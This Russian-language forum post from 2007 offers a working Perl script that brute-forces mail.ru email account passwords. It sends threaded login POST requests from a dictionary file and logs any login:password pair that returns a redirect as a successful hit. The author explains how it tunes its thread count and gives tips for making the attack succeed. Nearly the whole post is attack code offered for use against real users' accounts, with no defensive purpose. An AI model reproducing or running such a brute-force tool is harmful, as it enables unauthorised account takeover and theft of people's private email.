
24.08.2007, 03:40
|
|
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме: 4319431
Репутация:
677
|
|
это брутир мэйл.ру, сама идея брута через вэб принадлежит genom--, я же сделал такую фишку как построчное чтение словаря паролей, т.е. он может быть большого размера, и авто высчитывание оптимального количества потоков, на основе подсчёта времени затрачиваемого на брут при определенном количестве потоков, например:
For 1 threads time = 55
For 2 threads time = 52
For 3 threads time = 50
в результате установится 3 потока
P.S. если будете юзать, то не загружайте инет канал во время высчитывания скриптом оптимального количества потоков, иначе установится ложное значение и будет непохек =/
Код:
#!/usr/bin/perl
use IO::Socket::INET;
use threads;
use threads::shared;
my @pass : shared;
######################################
$dic = 'pass.txt';
$mail = 'mail@bk.ru';
######################################
$thr = 1;
######################################
( $login, $dom ) = split ( /@/, $mail );
open (pass, "<$dic");
open (bad, ">bad.txt");
Next:
@pass = pass();
my $time_start = time;
if ( @pass == 0 ) {
print "Sorry, password not found =(\n";
exit;
}
for(0..$thr) { $trl[$_] = threads->create(\&Brut, $_); }
for(0..$thr) { $trl[$_]->join; }
sub Brut
{
while (@pass){
$pass = shift @pass;
$data = "Password=$pass&login_from=http%3A%2F%2Fmail.ru%2F&page=&Domain=$dom&post=&Login=$login";
$sock = IO::Socket::INET->new(Proto=>'tcp',
PeerAddr=>'win.mail.ru',
PeerPort=>80);
print $sock "POST http://win.mail.ru/cgi-bin/auth HTTP/1.1\r\n".
"Host: win.mail.ru\r\n".
"Accept: */*\r\n".
"Range: bytes=0-63\r\n".
"User-Agent: Opero\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".length($data)."\r\n".
"Connection: close\r\n\r\n$data";
$answ = <$sock>;
close $sock;
#print "$pass\t$answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$login:$pass\n";
print "$login:$pass\n";
close good;
exit;
}
}
}
if ( $thr < 20 && $key == 0 ) {
my $time_end = time;
my $timer = $time_end - $time_start;
print "For $thr threads time = $timer\n";
$optim[$timer] = $thr;
$thr++;
} elsif ($key == 0) {
while (1) {
$thr = shift @optim;
print "Thr $thr\n";
last if ($thr);
}
$key = 1;
}
goto Next;
sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas > 300);
}
print bad $_;
print $_;
chomp @mas;
return @mas;
}
Последний раз редактировалось C!klodoL; 24.08.2007 в 08:37..
|
|
|